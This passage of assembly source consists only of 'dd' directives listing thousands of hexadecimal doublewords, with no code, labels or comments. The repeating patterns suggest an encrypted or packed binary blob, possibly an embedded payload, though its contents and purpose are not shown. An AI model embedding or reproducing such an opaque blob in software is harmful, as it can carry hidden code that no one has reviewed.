57DB1566h, 0EE321566h, 0F53664FFh dd 889413C0h, 821F90CEh, 55F88EFh, 8CBF81BEh, 8E3E9F8Bh dd 443A9669h, 0A93D1566h, 11321564h, 5BCD7406h, 440C9669h dd 0AE3D1566h, 1132156Ah, 88349369h, 0CA3D1566h, 22321566h dd 3A4FA0EDh, 3521361h, 57DA95B7h, 125DFC07h, 0F9521566h dd 8832156Bh, 0E9FFA6Bh, 0EC32C967h, 689D7D4Dh, 0D1FD9ED8h dd 0BD5366D3h, 94F98EDh, 1E521361h, 883216E8h, 93B97366h dd 223F9369h, 19DB1566h, 0EA321566h, 0E2EC6F2Bh, 4370550Eh dd 1132138Fh, 0F8677266h, 0CDC0995Ch, 251968D3h, 0D0B3EC60h dd 8095692Bh, 0FE60E44Fh, 2ED02B85h, 533AF7A7h, 177EE7E7h dd 951BFFFFh, 0F3B5ED3Ch, 0C003CF91h, 5903DF57h, 4CB31A9Eh dd 2D321566h, 113217E3h, 9537566h, 0CE194388h, 71FC3C22h dd 9B1943DDh, 0D3EC1422h, 4B96E69Ah, 223214EFh, 44DBED66h dd 87CDEA9Ah, 44321FE0h, 78627566h, 11329669h, 5531566h dd 49A00CFBh, 28BA1A60h, 71321566h, 0A0C49400h, 8FB9733Bh dd 34B71A07h, 0F8321566h, 88321577h, 7B4DC960h, 4B829CE5h dd 2339E04h, 6D54EFBAh, 4BE1EAD6h, 22321AEEh, 1138FC66h dd 0C4581566h, 1C38C7FDh, 1A4CEB88h, 43C99C35h, 58BBCFEFh dd 57DB4E3Ch, 0D321566h, 13830178h, 72774B8Fh, 23CF0033h dd 0F3B086D7h, 9419A313h, 8E350AD3h, 4432188Fh, 1B549366h dd 0A4CB8038h, 21B06ED1h, 4BDB6A43h, 8F321566h, 3D7FC1B1h dd 9CF5D2F6h, 9AF3572Eh, 0A7BB9585h, 17353923h, 88339169h dd 0CFCB1566h, 252DA0E3h, 90547560h, 0E8D637B7h, 4432018Fh dd 3EEEC866h, 3382497Dh, 5C2279C3h, 0E5CB8C62h, 0C7E452D1h dd 11BD1A46h, 0E9321566h, 6F267D07h, 1EBB1566h, 9A547542h dd 164749Eh, 40F49480h, 0A3321566h, 11321188h, 0AC069266h dd 60369C3Ah, 82BF989Ah, 0F83418F2h, 88321572h, 797C2E4Dh dd 2E6CAB81h, 0BC1656E2h, 22B49187h, 0A75E0B11h, 0A93DC499h dd 11321571h, 87DBE006h, 5F321566h, 0BCECB724h, 70E402Dh dd 0BCC7F9A0h, 0CF533A33h, 252D8CE3h, 1134FC60h, 6B501566h dd 3A1FD842h, 21BE1A06h, 77321566h, 0B78AEEEDh, 252289A6h dd 2226D50Eh, 35369C66h, 88321B8Fh, 47511066h, 1B93B6FAh dd 3BB15F71h, 0DEC52A75h, 82B3F3EFh, 22321562h, 9636FBE5h dd 16E3152h, 0CD3D315Ah, 22321567h, 0A4B79E9Ah, 87341279h dd 443200E5h, 2222FC66h, 4E891566h, 0B9E42E35h, 77B49A05h dd 78D3BEE1h, 9862A250h, 88361086h, 0ACB11566h, 6369262h dd 35369C3Ah, 71B97306h, 90BF9807h, 0CB3418F3h, 11321574h dd 98735A25h, 0CC5EA875h, 1B16DAA4h, 33298F5Ah, 59CD0708h dd 40BD1A06h, 44321566h, 1E3CB3DCh, 883215E3h, 705A7466h dd 0AB32152Fh, 71683162h, 0AB37AE00h, 1B624207h, 426DECEFh dd 331BAD00h, 0E823C1D8h, 0C919743Dh, 24350AFFh, 11289569h dd 61521566h, 44321568h, 0CEA397B5h, 39E74948h, 0C4BC96A8h dd 88E999h, 432067F8h, 12BBA8E5h, 87321361h, 4432CDE2h dd 0A43D7566h, 11321560h, 88329969h, 0CF541566h, 0A7B974ACh dd 17350177h, 882F9D69h, 0CC3D1566h, 22321571h, 1132078Fh dd 0C5905E66h, 4923D25Ch, 8DD963E8h, 1D942F44h, 0A3605C0Ah dd 43319CE3h, 2EB61A60h, 0F8321566h, 88321561h, 0D2BA15A0h dd 195D5ECEh, 6FB41AA7h, 87321566h, 44321CEDh, 0A3547566h dd 9A97E18Eh, 0DB974A0h, 42351AB3h, 223AFD06h, 0D5C41566h dd 91B400D2h, 0C554044Fh, 7DD09196h, 98B71607h, 0E8341265h dd 59CDCAE7h, 43CB2572h, 1D1F90EFh, 3D1361h, 44321546h dd 22B91A06h, 0F8321566h, 88321575h, 6BB3F87Ah, 22B6EE4Dh dd 2617E480h, 0EC1C51FCh, 259AF620h, 203FFC9Ah, 1FDB1566h dd 0C0321566h, 0E3069A07h, 0F9CF7440h, 0E1771933h, 0CBBA7D9Ah dd 48BB1566h, 0CEB1E042h, 353E9C62h, 8837FC3Eh, 88081566h dd 7103FB73h, 113214DDh, 0D3EA3C66h, 8DB3ED06h, 112B3945h dd 1120FC07h, 9BE41566h, 0A8AD2A4Dh, 0BC0ACA5Ah, 0C54F79Bh dd 30D6E365h, 0CD36F9E5h, 4589317Ah, 0D01B1120h, 979168Dh dd 64B52195h, 79EA1C63h, 17B21A06h, 87321566h, 443215E1h dd 7153EC66h, 0CB045DDDh, 0CEF9945Ch, 0C51EFC1Eh, 8F65D9A5h dd 0F6F19414h, 897C424Fh, 0CDC74EBEh, 252604E3h, 1120FC60h dd 8C9D1566h, 0DAB34F6Ch, 0B5B390E2h, 0FB0601D5h, 0B55C7262h dd 44339569h, 23CA1566h, 1636B4E3h, 8822FC60h, 53FD1566h dd 0D4B5CDF6h, 0C686B76h, 8BF51909h, 41DBC086h, 24321566h dd 7BD8EF3Eh, 8BBB90A1h, 44321361h, 0A33D1566h, 1132157Fh dd 8823FD06h, 518C1566h, 0D6F180EEh, 0C856C2DBh, 0BB42D194h dd 1EA2BA2Fh, 0CB727F07h, 1132156Fh, 55EE395Fh, 550A1D5Dh dd 32327D9Eh, 47521566h, 88329A69h, 0C46D1566h, 77530DA8h dd 0D4B3F0EFh, 88321562h, 4436F8E7h, 0EB51566h, 1DBB4942h dd 883EFC42h, 78531566h, 6888F504h, 0F8D1A84Eh, 3DBD5Bh dd 44321568h, 22321C8Fh, 0AC14AE66h, 0C7A55867h, 44580093h dd 2232048Fh, 754A5166h, 4C3BF47Eh, 7FC9B5E7h, 0D6CE3498h dd 84CD97A2h, 8E350BDFh, 84B37306h, 0A33DC2C7h, 11321563h dd 0ED8E4CDFh, 0D1CD7476h, 24353243h, 0F8B37306h, 98DB9AB8h dd 0E4321566h, 601D77C3h, 60EE3588h, 0EC2EE277h, 25E6E1EAh dd 2DE790EFh, 993D1361h, 88321568h, 4435FC06h, 7D3C1566h dd 5E7EEB2Ah, 0C3D7436h, 44321574h, 2232188Fh, 9A10B366h dd 0EE332127h, 9B4E46D4h, 0A7BBEC1Eh, 1735194Bh, 99E5AE06h dd 0BB53442Ah, 0A36B3152h, 113211A2h, 8837FC66h, 0BECB1566h dd 0DD7A61F7h, 163E38D3h, 3DCDE060h, 42350AFFh, 223E9269h dd 9C3D1566h, 88321560h, 44329F69h, 0AB651566h, 15F59481h dd 0B321566h, 78B51189h, 1EBB4942h, 4B11A42h, 87321566h dd 44321AE9h, 2238FC66h, 0B41B1566h, 8BE7CC47h, 0AD335408h dd 43DC9F06h, 0E87A099h, 73D1361h, 44321567h, 70B7989Eh dd 0E93418CBh, 88389169h, 4B521566h, 223215E2h, 70537566h dd 89CBC599h, 43319CEBh, 2EBE1A60h, 1E321566h, 883213E2h dd 44B41A66h, 0A9321566h, 163E38DBh, 62897560h, 0AC385884h dd 22321575h, 50A83729h, 0A60A9AD3h, 0EC63F436h, 0EC77BFDAh dd 0F86C0570h, 8832156Eh, 9F1E6BECh, 6B0812BCh, 9AC7743Ch dd 8F2D8CD3h, 4426FC60h, 0F9191566h, 0D6B6452Dh, 0F051192Dh dd 2506F45Bh, 41396625h, 0B5C111CFh, 882A9D69h, 57DB1566h dd 7C321566h, 0E08F43EAh, 9A29BF34h, 91FC1792h, 0AF0161B4h dd 0A4B971DFh, 8E3534D3h, 4432018Fh, 31628566h, 1C12909Bh dd 0D1FAAD41h, 472E710Ah, 1EFC181h, 9A52B864h, 8753E994h dd 443212E6h, 23B71A66h, 0E8321566h, 0E9CE53A1h, 13561506h dd 4C45A4D9h, 0D0E5E237h dd 67B31681h, 4FCA4271h, 573AD2E7h, 6F1BEE0Ah, 49C74A9Ah dd 4CDB10A6h, 33321566h, 552DEB97h, 0DFBC6FFBh, 34C94D9h dd 0B8FD9458h, 9005AB6Eh, 0B75D6A91h, 0CFCA146Dh, 0E6B1315Ah dd 1137FC62h, 3FB61566h, 47AE5056h, 25261CE3h, 113EFC60h dd 815F1566h, 72B58D5Eh, 0C1EF01BCh, 0F852DDAFh, 88321576h dd 0DB81E5A4h, 0A9B06856h, 4CE3AF87h, 12F659ABh, 0CF53C3EDh dd 253E38EBh, 113CFC60h, 0ADFD1566h, 0E91C6A23h, 0E61E5435h dd 9FEDA1Ch, 8832AF34h, 86B31566h, 60041F56h, 0FBB3D767h dd 0CA041F56h, 0AD681FEFh, 2232156Bh, 0E6DFB74Dh, 0C050416Eh dd 6113AC96h, 4452B881h, 903DC6EDh, 88321565h, 2583F4E6h dd 2232AA31h, 90651566h, 82633152h, 2BD199Fh, 0DE44949Ah dd 1DCB1F37h, 3547539h, 838D1A98h, 97879C07h, 0E9341247h dd 87CDEDE5h, 443284E3h, 0A3547566h, 0E92AF3B7h, 550C9407h dd 4BEFC8BBh, 223268E3h, 113AFC66h, 0E1871566h, 0B784541Bh dd 75635984h, 78308A0Eh, 67B34A45h, 70906C0Ch, 0A33AFAA7h dd 802E46A1h, 0FDD944Fh, 0CDFDDFC5h, 0CBB34A9Fh, 52147AC7h dd 7F7BCC91h, 0F0DB94B7h, 0AB259BA9h, 0A0524C68h, 718D1ABFh dd 40DE9607h, 991609EFh, 11321562h, 8769CB67h, 443206ECh dd 2FB21A66h, 0F8321566h, 8832156Eh, 5BE5FBC5h, 99A72581h dd 3087A0EFh, 0E9521361h, 0BBE35D8Fh, 0E2F3E999h, 7152EC65h dd 88329769h, 1F621566h, 0F5B97307h, 18B71607h, 61341272h dd 4432156Ah, 0C0FA2EFBh, 0A6ABFF25h, 65FD1449h, 57A3A8E5h dd 2D331361h, 113655E2h, 0B6B3EC66h, 0EE98BFCCh, 22969069h dd 18DB1566h, 49321566h, 2731ADAEh, 36C10507h, 1136A833h dd 66B31566h, 63B43CEBh, 0E4B3FB67h, 36B43CEBh, 50B3753Bh dd 2212F470h, 22349169h, 993D1566h, 88321566h, 308B4407h dd 0E3317736h, 0C0C5138Fh, 170D4E7h, 0ABB156Bh, 0DE524C9Ah dd 2053CBEDh, 0B9F5249Eh, 4422FC9Eh, 8E9B1566h, 2E8C4359h dd 19C5F96Eh, 98B1F1E9h, 97637DACh, 0BA8447A4h, 0A068E5EEh dd 50DB4C8Eh, 52321566h, 0F4357EC2h, 8BA88121h, 0A91183E3h dd 110E3568h, 0F85FF0B3h, 88321520h, 43BD1A93h, 42321566h dd 0A63D4D35h, 64B174B6h, 60369C62h, 0CB6D4D31h, 11321561h dd 45FC1F86h, 0B103D459h, 7152A635h, 0D2CCBBD5h, 63B2CE90h dd 0D7C1953Dh, 0AA11D6E6h, 0C9024EBEh, 3152ED3Dh, 2E1EDD79h dd 0AB67749Fh, 15F79483h, 9321566h, 4432118Bh, 61E9266h dd 35369C3Ah, 88321F8Fh, 8032A766h, 0A7130C68h, 92D5477Ah dd 8F14F4DBh, 0C03D1460h, 223214CEh, 1132108Fh, 7A0C3566h dd 2C65FC45h, 48A1138Bh, 618F4039h, 951B326h, 3F7798ABh dd 67E7E211h, 97CBF8E7h, 673B60E1h, 0ABC5943Bh, 0AB48EE50h dd 3DB4A9Eh, 28321566h, 3B4CBA51h, 26BE8107h, 2475B977h dd 2AD0F485h, 0A58F96D8h, 22341B1Ch, 116F9169h, 5CE1566h dd 49F32AFBh, 0D807560h, 1132048Eh, 0B8C47266h, 7B71D8ECh dd 0E899CF41h, 0F4F95A8Bh, 85DB91A5h, 0EB321566h, 7BA5620Fh dd 7FAC9EA7h, 1AB1A7D0h, 97CD743Ch, 2ADB7593h, 0E1321566h dd 0E4BC761Ch, 0AD749055h, 22321574h, 26505E3h, 974C5ABCh dd 8CC4DAA2h, 0E9295CB1h, 91533D07h, 0C3D8559h, 44321532h dd 32DD9406h, 0F82C7B3Eh, 8832156Ah, 9B67F1AFh, 1E3C247Dh dd 0F64E2E07h, 3062E007h, 44321563h, 26B9D267h, 15F69442h dd 0E8321566h, 0DD01AA00h, 85FD9400h, 3FDB74BFh, 61321564h dd 44321572h, 3BE79AEEh, 0CABF6038h, 1E1F0023h, 0D4425E5Dh dd 3827B57Dh, 1E62EDE5h, 88329AE4h, 4BCB7566h, 223210E0h dd 0E7B37366h, 8753D249h, 443202E5h, 2220FC66h, 9A5C1566h dd 9C64800Bh, 54790EAFh, 0B889C5Bh, 2F5F7F5Ah, 849A437h dd 0B5B2E197h, 0C1804745h, 0FBB2C790h, 0D2E31DE5h, 0B2FDE4E6h dd 20F395BFh, 0E86BDDEEh, 8CB9ECCCh, 0A7BB4642h, 2236D6E7h dd 0D2B11566h, 0AC2E9262h, 4BCE753Ah, 8853D4D1h, 0E2B97506h dd 0E95AE4E6h, 44321E8Eh, 27046D66h, 0DC2C331Ch, 96800669h dd 256B44D4h, 2232DA8Fh, 10BC1A66h, 70321566h, 1C162199h dd 2236D1E7h, 993D1566h, 88321570h, 4432048Fh, 3B70A566h dd 0FDBEC98Bh, 4F44A7FDh, 901D71BBh, 0AC3D2FA3h, 1132157Ch dd 883FFC06h, 0BA3E1566h, 0CD96316Ah, 68B2213Ch, 8758851Fh dd 443215EFh, 42987466h, 0F8694506h, 88321569h, 0AC294D3Bh dd 0AA149928h, 8F2FD6AAh, 0E998DAAEh, 44349669h, 0AD3D1566h dd 11321566h, 8838FC07h, 0A5EB1566h, 0F90C8E1Eh, 0A90BFD7Ah dd 61CD6AE6h, 44709069h, 0A33D1566h, 11321567h, 698F969Fh dd 44341B1Ch, 22299169h, 0E4C71566h, 486B88EBh, 0B1CA136Bh dd 28DBC699h, 99321566h, 0CB3643A3h, 0BE4089C2h, 60D47D3Ah dd 5BB1566h, 8836AF42h, 0BE331566h, 0DE6817EEh, 1D1F90EDh dd 9BDB1361h, 0AC321566h, 77AA536Dh, 818A8ACDh, 0CA6966F5h dd 8EECA304h, 9C6443C4h, 18B232C6h, 66F3CB91h, 0B2B35B64h dd 14EB431Fh, 0D3B2E3E7h, 78337DFFh, 69CA3C38h, 41ED7788h dd 1132068Fh, 0EFBED066h, 9654B440h, 0AD4FA241h, 0C9C10116h dd 96F79576h, 0CAF99406h, 2D0E5224h, 113213ECh, 88B21A66h dd 25321566h, 2236AC37h, 5F371566h, 0A13A5854h, 767C38AEh dd 0CB6B1D2Bh, 11321577h, 0A6225335h, 20ABACDEh, 3297CB4Dh dd 0B8350A51h, 43DBE96h, 4432157Fh, 2232018Fh, 65164966h dd 71DD4C7Bh, 4D5895C9h, 0BB7AC439h, 464AB8A3h, 0DDC7B84Dh dd 827566DBh, 67E7E220h, 0D4B3C891h, 9437EE88h, 24DF942Bh dd 0AB50D925h, 0F86FE908h, 88321572h, 0F38C8B3Dh, 0F5870C5Ch dd 0AC96974Ah, 4AA0261h, 212488AEh, 0DDC8B98Fh, 19BD1A99h dd 87321566h, 443217E3h, 0AB537566h, 1613A0D3h, 9CBC1A60h dd 0AD321566h, 22321569h, 9F6ABF77h, 9EFDF1FDh, 0B3EFD501h dd 4AF7069Eh, 1132228Eh, 741601EFh, 44B2150Eh, 2EB41A66h dd 1E321566h, 883213E0h, 44BD1A66h, 48321566h, 0A552E966h dd 56B97383h, 0E187EA07h, 2D341246h, 113200E4h, 87B81A66h dd 0AD321566h, 2232156Ch, 37CCF381h, 74A203Ch, 0D1CD4423h dd 24353EE3h, 112B9069h, 9CDB1566h, 70321566h, 8FA8651h dd 99F9614Ch, 8306169Dh, 18E126F4h, 0DD2947EEh, 92683152h dd 0DB5211A2h, 44321A8Fh, 81FBF966h, 0FC9C6B9Ah, 46E0C2CDh dd 0E43B203h, 27B81A3Dh, 77321566h, 21B4C7E7h, 443BFC07h dd 8B2F1566h, 0F46B1628h, 3A259DFh, 4332E8EBh, 223FFC60h dd 9B4F1566h, 7468B28Eh, 10C426A1h, 72900366h, 7067E7DEh dd 0C03F5D51h, 85061A1Bh, 11F1386h, 0D69F0710h, 0BAC5F667h dd 1C3314B7h, 2232068Fh, 50CF2266h, 0C110B950h, 0A383261Eh dd 8E1E7C04h, 89316A36h, 8836AF34h, 0ADB31566h, 38114849h dd 0D0B3C467h, 92114849h, 443FFC3Ch, 1F911566h, 0DA51D84Ch dd 0D761964Fh, 0CD4AA6DDh, 2532E8EBh, 1120FC60h, 9E311566h dd 0BFB91915h, 0E074F042h, 0D20DAACBh, 5868900h, 87A8FC93h dd 0A23DEA99h, 11321571h, 8832078Fh, 432F1766h, 45B148D1h dd 3D18A741h, 208FA281h, 0ADC8F6DEh, 223239E7h, 11339669h dd 0E8CE1566h, 443CFC06h, 0E49C1566h, 828EAAD2h, 135C2899h dd 9F96B5E2h, 22379469h, 90541566h, 0E96352BFh, 44CF98EDh dd 0DDCA1361h, 35069457h dd 8C560FA1h, 0DB89463Fh, 0A3136927h, 0F6EB3DA5h, 0D3EB2484h dd 4432048Fh, 2FDFE566h, 1CA0A0F4h, 7FA530F7h, 33583BB4h dd 0AFBB9E38h, 173C6FBBh, 8832048Fh, 170CF666h, 8802C38Eh dd 2F9D6217h, 0F43459E1h, 7CB3E4E6h, 6E764128h, 11929069h dd 82DB1566h, 6C321566h, 0A28D548h, 7671A08Bh, 0F0B37301h dd 4B1C5962h, 223290E3h, 1EB61A66h, 61321566h, 4432156Ch dd 6B274C35h, 5C614C0Fh, 95222A7h, 559BF094h, 2239FC35h dd 5F711566h, 465C73D3h, 1D880CCFh, 0A36274E8h, 6159314Ah dd 0BCB91401h, 40F69442h, 0A3321566h, 76427EA0h, 0A3D7567h dd 44321560h, 22329769h, 79531566h, 88325E88h, 0FC1611EFh dd 22321560h, 0ED6AD367h, 0EE7CA706h, 9989FCE7h, 33B79E07h dd 1E341264h, 883214EAh, 0ACDBE966h, 2D321562h, 113214EFh dd 0DA62E966h, 0D900F2DCh, 6662417h, 906C4F62h, 1500F290h dd 0CE3D7517h, 22321564h, 0AA54E7EDh, 0E053C2F9h, 4432537Dh dd 0AB1609EFh, 4AE89CA5h, 883C9F69h, 4DDB1566h, 6F321566h dd 49D683AAh, 8E379F9Eh, 0E8CEDC57h, 2232138Fh, 63E5DE66h dd 0B4462935h, 3DB61A66h, 42321567h, 7009C7E6h, 0C3D385Ah dd 0BBCDEAB9h, 223EFD06h, 11671566h, 1FF43627h, 11A7D7F8h dd 0F5B200C0h, 16DB4C28h, 3A321566h, 2970E901h, 1E53E8C0h dd 0F9B61A48h, 87321566h, 44320DE0h, 2221FC66h, 9CB91566h dd 5B3996C7h, 0CE811892h, 623C58A8h, 21137F0Eh, 87022969h dd 4436A7E4h, 1B0EEC66h, 0EEB79369h, 99DBEA99h, 0BA321566h dd 0B97DA87Ah, 852F04D1h, 0E201EEBEh, 0B809F43Ch, 0A03D545Ah dd 113211EDh, 8768299Ah, 0BBCD4BE0h, 7D0EE099h, 0EE679169h dd 23DEA99h, 44321571h, 22239369h, 1DDB1566h, 0F6321566h dd 1D246C71h, 0F3F78014h, 2D2C56D0h, 0DCB01A07h, 0AD321562h dd 2232156Bh, 5A4E6A45h, 0F4EB13C5h, 6D4CC47Bh, 3FBF1A7Eh dd 71321566h, 8832048Fh, 7CFCDA66h, 45D6A681h, 0A3271DE8h dd 9294A546h, 0C5543AF8h, 432B75A1h, 973D6F5Ah, 77CDEB95h dd 44299569h, 91521566h, 1123FDF4h, 4A411566h, 2A87CBEh dd 965DE0AFh, 0EB9EFB70h, 0D77B47B0h, 47C3FC07h, 0A5C71566h dd 0EEDD949Ch, 0FCDEA99h, 45B61A9Ch, 0DB321566h, 953DE75Fh dd 883216B1h, 443E9869h, 0A83D1566h, 11321560h, 88329669h dd 17CA1566h, 0DDCDEADDh, 4AE81499h, 7788479Ah, 6DCDEA99h dd 0CBCA4FB7h, 0EECDEBE1h, 88359E69h, 0C33D1566h, 22321567h dd 10BE1A9Eh, 74321566h, 0C03DDCE3h, 223216E9h, 7887989Eh dd 0E834126Ah, 4DD39400h, 0A9607410h, 0D5B1316Ah, 8DDA7562h dd 0E3321566h, 603E6954h, 1E6D0CD3h, 883202EDh, 4420FC66h dd 0C2041566h, 0F9152868h, 895F6AFCh, 262C40FBh, 0E214C1DCh dd 358F7D07h, 9CBB1566h, 16524A42h, 0E7F774DCh, 1ADA4E54h dd 94321566h, 0FCEAB73h, 0D43E4545h, 1EDBBC19h, 0C4321566h dd 1F06C62Dh, 2F74737Bh, 0C58B881Bh, 0E96BF219h, 0F1631DD6h dd 0E3FF95EBh, 0CCC4F0B6h, 6DF2D098h, 4AF79560h, 0E6BFD46h dd 0E46D21F1h, 87CF60C8h, 443214E7h, 0A83DED66h, 11321561h dd 43B37306h, 0C553D7D0h, 3D1E59A7h, 43CB3C45h, 971E59DCh dd 1EE33C45h, 22327D93h, 1D1B1566h, 0AC3E9E42h, 4436D1E7h dd 0A3CA1566h, 0C602A089h, 0DAFD3C3Fh, 708B3DCh, 0C0B3573Bh dd 73FF16A2h, 0C984FFE7h, 86B36036h, 0ACD47A81h, 1E68C267h dd 883210E7h, 0FB3D7566h, 0D503749Eh, 0E603EB57h, 8796E69Fh dd 443234E8h, 36DB7566h, 3F321566h, 0C08BCCDBh, 0AAC91017h dd 0A5B9ED59h, 76FC11D5h, 878A7BAEh, 443215E4h, 97637466h dd 0EE884766h, 89CDEA99h, 1E189D9Ch, 0B7BFED3Fh, 1735190Fh dd 9DD1AE06h, 4B534FDBh, 22321FE7h, 1137FC66h, 10D21566h dd 0CFFB31B9h, 25186CE3h, 0D1B7EC60h, 88659069h, 82CB1566h dd 251E10E3h, 993D5260h, 88321567h, 0E3E07D9Ah, 36DBC1FCh dd 0E9321566h, 3870443Dh, 0C5D180CEh, 508B4623h, 576F3553h dd 77D9616Ch, 4303B8D3h, 27DA7560h, 0B0321566h, 952527DEh dd 6171D0DDh, 0AC3D4F73h, 11321564h, 5537406h, 4E490AE3h dd 0F2CDE060h, 0F6BB429Eh, 8836D2E7h, 0ABB11566h, 60E9262h dd 35269C3Ah, 8832068Fh, 0DF992466h, 0AF832C05h, 0D30A16B9h dd 0CE6C2D79h, 0C4A3FBD3h, 223CFC06h, 0EA501566h, 8E433E1Bh dd 4824C769h, 3F79531Ah, 1EE2EA07h, 883214EFh, 84B7EC66h dd 22C79069h, 0A5521566h, 35A1AA39h, 0CF5322C5h, 2522E4E3h dd 1135FC60h, 47101566h, 0A33C3F62h, 2DF290DFh, 113266E3h dd 8834FC66h, 98B21566h, 0DB169AB7h, 42ECA706h, 0E96ADDEDh dd 683790A0h, 2D7E1361h, 113214EEh, 615AE966h, 4BEBCF7Ah dd 223213E1h, 0EAB97566h, 77534D34h, 4303B8D3h, 98527560h dd 3A22CB44h, 0E9E89E00h, 25E89E00h, 592D90EBh, 1E52136Ch dd 883217ECh, 4B6C4466h, 223218EEh, 1135FD66h, 6B8B1566h dd 0CEB70AA3h, 0DD534C66h, 10B21AB6h, 70321566h, 4440F60Eh dd 6269C66h, 1132108Fh, 47B8AF66h, 0BBCB43BAh, 0F4B975B6h dd 11321C8Eh, 0A5188866h, 0FF3A1103h, 0F0B3291Ch, 26DA9E33h dd 48B77438h, 441B9069h, 0A43D1566h, 1132156Ah, 88349969h dd 0CA3D1566h, 22321566h, 11328F8Fh, 883FFC66h, 6F0E1566h dd 873E20D0h, 874D2870h, 1DB2A03h, 4A48C8E3h, 9D3D7560h dd 706B4795h, 9D19C35h, 443211A5h, 26D99466h, 96321566h dd 16E317Ah, 0C13D3162h, 22321567h, 32B17D9Ah, 0BCBB1566h dd 0CF547542h, 0AD8843ADh, 48061FD1h, 0DBFE907h, 42388042h dd 0DD53EC06h, 0D139E0B6h, 88169069h, 0CB3D1566h, 2232156Ch dd 57FA9406h, 0E8410861h, 64DB7407h, 2D321566h, 11321DEFh dd 46B37566h, 2F7C61A5h, 66BBEC07h, 19DB0942h, 5B321566h dd 0B61D072Ah, 4367852Ch, 1DBD69Fh, 0D0321566h, 80A226CFh dd 5A4BC4F8h, 29B02D25h, 0E8DFB74Dh, 443F9E69h, 2D521566h dd 113215E3h, 61B37366h, 0CF53EAF3h, 2C48C8EBh, 0AB547560h dd 0DA53D148h, 86B3F7EFh, 22321562h, 1136FFE7h, 9CB51566h dd 40BB4942h, 29B71A42h, 0F8321566h, 88321560h, 0CEA7DCC0h dd 0A96375D6h, 0D5B13162h, 8834FC62h, 0B761566h, 1CB435DEh dd 110EAC37h, 49331566h, 4432AF34h, 0E8331566h, 48681765h dd 82EA93h, 0C5321566h, 734B3162h, 5B970B9h, 8CF69442h dd 0C5321566h, 0FD636C8Ch, 903DE903h, 88321561h, 44339569h dd 0ABCA1566h, 163158F3h, 883FFC60h, 0ECA1566h, 1BE04D88h dd 8C8476C4h, 0DDA8FA02h, 4432EDDBh, 0A9DA1466h, 0D5B3314Ah dd 88321562h, 4842EA9Fh, 3D1621E7h, 9A68262Fh, 4CB13172h dd 5BC09462h, 0DB68262Fh, 90547506h, 0EE50D6ADh, 6692F4E7h dd 0B7BB7407h, 173500ABh, 0AC369E93h, 0C5D59C31h, 223211A1h dd 15F59466h, 0F321566h, 0BC6E315Ah, 22339A69h, 0EECB1566h dd 3163112h, 80B13162h, 2223FC62h, 0D2681566h, 7160F375h dd 1A6D8512h, 2E30C705h, 1E00466Eh, 883206ECh, 49B71A66h dd 0CB321566h, 1132156Eh, 803FA658h, 9A08FF4Ch, 3A0CAB30h dd 0E11B4D12h, 8DFA3C38h, 1C460D58h, 8C8D7306h, 0C9B973E6h dd 0D9527507h, 2553753Dh, 0EFB72E07h, 1E341273h, 88325EE4h dd 0C109E066h, 2435162Bh, 110C9669h, 9CDB1566h, 54321566h dd 0E9EBDC7h, 0D4096DE7h dd 5B3BA381h, 0DDECA214h, 43298765h, 11B41A06h, 31321566h dd 6BFCAEEh, 2236D707h, 11321A8Fh, 7D09DD66h, 0AD66904Fh dd 6400142Eh, 590DEB77h, 31547507h, 43DB40E2h, 0EE321566h dd 5B2A324Bh, 615320E8h, 4432156Ch, 69153333h, 4A04034Ah dd 8CF542C1h, 0FB6B3742h, 62EE236h, 2C1621E7h, 9605742h dd 3BB83142h, 0EE35058h, 3536EA42h, 8970AE35h, 180337E7h dd 0DA691142h, 1132018Fh, 0EE20F866h, 0E34A086Bh, 0BBBC330Ch dd 4DA0BFF5h, 7A8AF4FFh, 6076D28Bh, 0D1471862h, 3556940Ch dd 627B462h, 458C431Dh, 13589773h, 4F3A3112h, 88377D9Ah dd 40B91566h, 26F69442h, 0F8321566h, 88321563h, 0AE2E68D4h dd 3EBF98FAh, 0F8341228h, 88321568h, 0D49BF298h, 2D65395Ch dd 0D50ED6FBh, 69CD3CECh, 938A7306h, 0FBB3737Eh, 7153D3EDh dd 88379869h, 14521566h, 7353ED3Fh, 113215DFh, 0D7F39466h dd 456F4174h, 7DDB9497h, 9B6F4174h, 0B4CA4C67h, 3CB61A8Fh dd 0DB321567h, 953DFD5Ah, 883214A0h, 13C89F06h, 0E5EBAF00h dd 1E0E743Fh, 88939169h, 0C43D1566h, 22321574h, 1132188Fh dd 0B26D566h, 5D0B2E6Ah, 0F644D44Ch, 0DC0EA8B4h, 8A109169h dd 42DB1566h, 9321566h, 8FC3A4D3h, 87D92912h, 44306FE2h dd 0A23D7566h, 11321563h, 3ABB2DCh, 168A7360h, 0A93D74D5h dd 1132156Ah, 88B81A06h, 22321566h, 43FB7BD8h, 0C2B97507h dd 88349869h, 96B31566h, 2BE3234Eh, 7752D607h, 0C49BE3E7h dd 44321D8Eh, 0E3491966h, 0CD273F33h, 8838FCB2h, 0FCCE1566h dd 0BF026AA1h, 4816FA28h, 98DB7439h, 0FE321566h, 0BA75B05h dd 0B2B5C83h, 0CADF1A41h, 15AF4ED2h, 223214DFh, 9BC31466h dd 0AC3E9E7Fh, 0BD36D1E5h, 0D2874400h, 9A54FE46h, 4CB3316Ah dd 44321564h, 0A2C9959Fh, 0EEB89069h, 0E3DEA99h, 44321567h dd 232C7D9Ah, 5BB1566h, 1C09C42h, 4ADB4FB5h, 7321566h dd 0E0618839h, 0F470F00Eh, 0ADC42BDAh, 26DE946Ch, 98321566h dd 8E883172h, 45321566h, 0DBCB4FB5h, 1162FA0Eh, 0AC369C66h dd 443217DEh, 21C21466h, 1DDB4D7Eh, 29321566h, 945E70A3h dd 0F4C6D388h, 71C9BB02h, 81DBD7EDh, 6321566h, 0FCB83603h dd 6F2AAE10h, 88D0FC07h, 0C13D1566h, 22321571h, 11239069h dd 84DB1566h, 98321566h, 9E349948h, 180CCC8Eh, 7795ED8Dh dd 58B91410h, 26F69442h, 71321566h, 88379C69h, 0F28B1566h dd 446E8FA3h, 820BD5E7h, 73C99607h, 45749169h, 0CB521566h dd 11321574h, 0FD4C90BDh, 0BB3ABDCBh, 135A583Eh, 0AE46ABBBh dd 83DB1E1Ah, 9B321566h, 6345154h, 0DEAB47A0h, 87538093h dd 443214EAh, 0A964EC66h, 0D5B1317Ah, 67B27562h, 4437FC22h dd 31651566h, 704C5ABCh, 8833AF34h, 0B6331566h, 2232AC37h dd 0C0331566h, 0D26B0C65h, 2C674593h, 52E679CCh, 90E7E23Bh dd 2476628Bh, 63F7946Dh, 0AB4E95D7h, 0D233488Eh, 9CDB753Eh dd 0D1321566h, 48FF2EA6h, 0F2ED3872h, 977AA35h, 10191F31h dd 2D87EB01h, 113210E1h, 